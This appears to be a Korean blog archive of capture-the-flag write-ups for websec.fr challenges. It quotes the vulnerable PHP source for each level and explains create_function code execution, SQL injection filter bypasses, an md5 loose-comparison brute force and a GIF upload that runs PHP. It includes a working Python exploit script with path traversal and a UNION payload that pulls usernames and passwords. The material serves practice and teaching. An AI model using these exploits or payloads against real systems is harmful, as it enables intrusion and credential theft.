solveme.peng.kr Give me a link

2018. 3. 15. 16:46

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

solveme.peng.kr Hash collision

2018. 3. 15. 11:27

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

solveme.peng.kr URL filtering

2018. 3. 15. 10:29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

solveme.peng.kr Hard login

2018. 3. 14. 23:33

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

solveme.peng.kr Winter sleep

2018. 3. 14. 23:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

코드를 보면 create_function으로 임의의 함수를 만들어 사용한다.

 

source)

 

<?php
ini_set
('display_errors''on'
);
ini_set('error_reporting'E_ALL
);

$success 
'
<div class="alert alert-success alert-dismissible" role="alert">
    <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
    Function declared.
</div>
'
;

include 
"flag.php"
;

if (isset (
$_POST['c']) && !empty ($_POST['c'
])) {
    
$fun create_function('$flag'$_POST['c'
]);
    print(
$success
);
    
//fun($flag);
    
if (isset($_POST['q']) && $_POST['q'] == 'checked'
) {
        die();
    }
}
?>

 

근데 중요한건 함수를 정의한 후에 이 함수를 아예 쓰지를 않는다. 코드 자체의 결함으로 뭔갈하기에는 무리가 있어보였고 create_function자체의 취약점이 있는지 찾아봤더니 exploit-db에 RCE가 되는 취약점이 있었다.

poc이용해서 플래그를 따냈다.

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 SQL Injection 문제다.

 

source)

 

<?php
ini_set
('display_errors''on'
);
ini_set('error_reporting'E_ALL
);

function 
sanitize($id$table
) {
    
/* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */
    
if (! is_numeric ($id) or $id 2
) {
        exit(
"The id must be numeric, and superior to one."
);
    }

    
/* Rock-solid too! */
    
$special1 = ["!""\"""#""$""%""&""'""*""+""-"
];
    
$special2 = [".""/"":"";""<""="">""?""@""[""\\""]"
];
    
$special3 = ["^""_""`""{""|""}"
];
    
$sql = ["union""0""join""as"
];
    
$blacklist array_merge ($special1$special2$special3$sql
);
    foreach (
$blacklist as $value
) {
        if (
stripos($table$value) !== false
)
            exit(
"Presence of '" $value "' detected: abort, abort, abort!\n"
);
    }
}

if (isset (
$_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'
])) {
    
$id $_POST['user_id'
];
    
$table $_POST['table'
];

    
sanitize($id$table
);

    
$pdo = new SQLite3('database.db'SQLITE3_OPEN_READONLY
);
    
$query 'SELECT id,username FROM ' $table ' WHERE id = ' $id
;
    
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;

    
$getUsers $pdo->query($query
);
    
$users $getUsers->fetchArray(SQLITE3_ASSOC
);

    
$userDetails false
;
    if (
$users
) {
        
$userDetails $users
;
    
$userDetails['table'] = htmlentities($table
);
    }
}
?>

 

코드를 보면 user_id값과 table에 값을 넣을 수 있는데 user_id는 정규식으로 숫자밖에 못쓰게 해놔서 써먹을 수가 없다. 그럼 table벡터에서 쿼리를 뽑아내야하는데  주석이랑 union,join을 쓸수가 없어서 뒤에있는 where절을 어떻게 처리할 수가 없다. 즉 테이블자체를 내가원하는 데이터값이 담긴놈으로 만들어놓아야 된단 거다. 여기서 이를 가능하게 하려면 결국 전체쿼리에서 select로 값을 가져오는 컬럼이 id,username이다. 그럼 내가 세팅해논 테이블의 컬럼을 이놈들로 맞춰주기만 하면 된다. as를 필터링하고 있지만 as가 없어서 alias가 가능하니 크게 상관은 없었다.

id가 2이상의 숫자밖에 안되니 id부분에는 3이라는 값을 맞춰주고 username부분에 플래그가 담긴 값을 뽑아냈다. 플래그값은  친절하게  enemy라는 컬럼에 있다고 밑에 주석으로 나타내고있어서 따로 테이블, 컬럼 찾을거 없이 바로 뽑았다.

 

 

  

 

 

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php include "flag.php"?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Ten</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css"/>
</head>
<body>
<div id="main">
    <div class="container">
        <div class="row">
            <h1>LevelTen<small> - Awesome File Downloader.</small></h1>
        </div>
        <div class="row">
            <p class="lead">
        Here we have a <a href="source.php">cool file downloader</a>. It allows you to download arbitrary files, even <mark>flag.php</mark>,
        as long as it's a legit request!<br>
                Thanks to an <mark>anonymous contributor</mark> for this challenge.
            </p>
        </div>
    </div>
    <div class="container">
        <div class="row">
            <form name="username" method="post" class="form-inline">
                    <div class="form-group">
                        <label for="f">File</label>
                        <span class='text-success'></span>
                        <input type="text" class="form-control" required id="f" value="index.php" name="f">
                    </div>
                    <div class="form-group">
                        <label for="hash">Secret hash</label>
            <input type="text" class="form-control" required id="hash" value="<?php echo substr (md5 ($flag 'index.php' $flag), 08); ?>" name="hash" >
                    </div>
                <button type="submit" class="btn btn-default">Get!</button>
            </form>
        </div>
        <?php
        
if (isset ($_REQUEST['f']) && isset ($_REQUEST['hash'])) {
            
$file $_REQUEST['f'];
            
$request $_REQUEST['hash'];

            
$hash substr (md5 ($flag $file $flag), 08);

            echo 
'<div class="row"><br><pre>';
            if (
$request == $hash) {
            
show_source ($file);
            } else {
            echo 
'Permission denied!';
            }
            echo 
'</pre></div>';
        }
        
?>
    </div>
</div>
<link rel="stylesheet" href="../static/bootstrap.min.js"/>
</body>
</html>



파일명이랑 임의의 플래그 문자열을 가지고 md5값을 만든다. 이걸 내가 보낸 hash랑 비교하는데 이 때 느슨한 비교를 하고있어서 0e 형태의 지수값을 반환하는 file명을 brute force해주면 된다. 반환된 md5값에서 앞 8자리만가지고 비교를해서 brute force로 금방 해결이 가능했다.


exploit.py

import multiprocessing

import urllib2

import urllib


def getFlag(num):

    def request(payload):

        url = "http://websec.fr/level10/index.php"

        data = urllib.urlencode({"f": payload, "hash": "0e12345611111"})

        request = urllib2.Request(url, data)

        request.add_header("User-Agent","ozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.3")

        response = urllib2.urlopen(request).read()

        return response


    strings="ijklmnop"

    for j in range(0,len(strings)):

        for i in range(num*500,(num*500)+500):

            payload = strings[j]*i+"/../flag.php"

            #print payload

            result = request(payload)

            #print result

            if "Permission denied!".lower() not in result.lower():

                print strings[j]

                print result

                exit(1)


if __name__=="__main__":

    num_list = [0,1,2,3,4,5]

    pool = multiprocessing.Pool(processes=8)

    pool.map(getFlag,num_list)

    pool.close()

    pool.join()


'Wargame > websec.fr' 카테고리의 다른 글

Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

gif 파일 업로드 기능이 있는 문제이다.

 

source)

 <?php if (isset ($_FILES) && !empty ($_FILES)): ?>
                <div class="row">
                
<?php
                    $uploadedFile 
sprintf('%1$s/%2$s''/uploads'sha1($_FILES['fileToUpload']['name']) . '.gif'
);

                    if (
file_exists ($uploadedFile)) { unlink ($uploadedFile
); }

                    if (
$_FILES['fileToUpload']['size'] <= 50000
) {
                        if (
getimagesize ($_FILES['fileToUpload']['tmp_name']) !== false
) {
                            if (
exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF
) {
                                
move_uploaded_file ($_FILES['fileToUpload']['tmp_name'], $uploadedFile
);
                                echo 
'<p class="lead">Dump of <a href="/level08' $uploadedFile '">'htmlentities($_FILES['fileToUpload']['name']) . '</a>:</p>'
;
                                echo 
'<pre>'
;
                                include_once(
$uploadedFile
);
                                echo 
'</pre>'
;
                            } else { echo 
'<p class="text-danger">The file is not a GIF</p>'
; }
                        } else { echo 
'<p class="text-danger">The file is not an image</p>'
; }
                    } else { echo 
'<p class="text-danger">The file is too big</p>'
; }
                
?>
                </div>
                <?php endif 
?>

getiamagesize랑 exif_imagetype으로 다른 포맷의 파일이 업로드되지 못하도록 필터링하고 있다. 그냥 gif포맷 파일안에 php코드 박아서 업로드해주면 이 파일을 include하면서 php 코드 실행이 가능해진다.

바로 시스템명령어 함수써서 마무리지으려했는데 disabled fuction에는 정의가 안되있는데 이상하게 함수 실행이 안됬다. ping이나 sleep으로 시간지연도 안생기는거보니 단순히 출력 안하는 문제는 아닌것 같았다.

그래서그냥 파일,디렉터리 관련 함수써서 풀었다.

 

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

preg_replace를 통한 필터링이 존재하는 기본적인 SQLi다.

 

그냥 이런식으로 쿼리넣어서 우회해주면 된다.

 

100 unbyion selbyect username,password frbyom users

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,